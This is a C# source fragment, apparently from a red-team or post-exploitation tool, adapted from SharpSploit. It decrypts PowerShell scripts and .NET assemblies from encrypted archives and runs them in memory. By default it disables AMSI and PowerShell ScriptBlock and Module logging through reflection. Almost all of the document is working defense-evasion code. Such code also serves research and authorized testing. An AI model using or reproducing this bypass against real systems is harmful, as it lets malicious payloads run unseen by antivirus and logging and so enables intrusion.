// Following a discussion with cobbr over the implementation this was a much more elegant solution :)
// Almost directly ripped from https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/Execution/Shell.cs#L37-L55
// Credits to Ryan Cobb
/// <summary>
/// Executes specified PowerShell code using System.Management.Automation.dll and bypasses
/// AMSI, ScriptBlock Logging, and Module Logging (but not Transcription Logging).
/// </summary>
/// <param name="PowerShellCode">PowerShell code to execute.</param>
/// <param name="OutString">Switch. If true, appends Out-String to the PowerShellCode to execute.</param>
/// <param name="BypassLogging">Switch. If true, bypasses ScriptBlock and Module logging.</param>
/// <param name="BypassAmsi">Switch. If true, bypasses AMSI.</param>
/// <returns>Output of executed PowerShell.</returns>
/// <remarks>
/// Credit for the AMSI bypass goes to Matt Graeber (@mattifestation). Credit for the ScriptBlock/Module
/// logging bypass goes to Lee Christensen (@_tifkin).
/// </remarks>
public void RunPowerShell(string encpath, string encpass, string outfile, string scriptname, string arguments, bool BypassLogging = true, bool BypassAmsi = true)
{
Archiver archiver = new Archiver();
byte[] unpacked = archiver.ArchiveHelper(encpath, encpass, scriptname);
string PowerShellCode = System.Text.Encoding.UTF8.GetString(unpacked);
PowerShellCode += "\n" + arguments;
System.Windows.Forms.MessageBox.Show(PowerShellCode);
if (PowerShellCode == null || PowerShellCode == "")
{
return;
}
using (PowerShell ps = PowerShell.Create())
{
BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static;
if (BypassLogging)
{
var PSEtwLogProvider = ps.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider");
if (PSEtwLogProvider != null)
{
var EtwProvider = PSEtwLogProvider.GetField("etwProvider", flags);
var EventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid());
EtwProvider.SetValue(null, EventProvider);
}
}
if (BypassAmsi)
{
var amsiUtils = ps.GetType().Assembly.GetType("System.Management.Automation.AmsiUtils");
if (amsiUtils != null)
{
amsiUtils.GetField("amsiInitFailed", flags).SetValue(null, true);
}
}
ps.AddScript(PowerShellCode);
var results = ps.Invoke();
string output = String.Join(Environment.NewLine, results.Select(R => R.ToString()).ToArray());
ps.Commands.Clear();
System.IO.File.WriteAllText(outfile, output);
}
}
public void RunDotNet(string encpath, string encpass, string outfile, string binname, string arguments)
{
Archiver archiver = new Archiver();
byte[] unpacked = archiver.ArchiveHelper(encpath, encpass, binname);
DotNetLoader dnl = new DotNetLoader();
object[] convertedArgs = arguments.Split(' ');
MemoryStream mem = new MemoryStream(10000);
StreamWriter writer = new StreamWriter(mem);
Console.SetOut(writer);
dnl.loadAssembly(unpacked, convertedArgs);
writer.Close();
string s = Encoding.Default.GetString(mem.ToArray());
mem.Close();
System.IO.File.WriteAllText(outfile, s.ToString());
}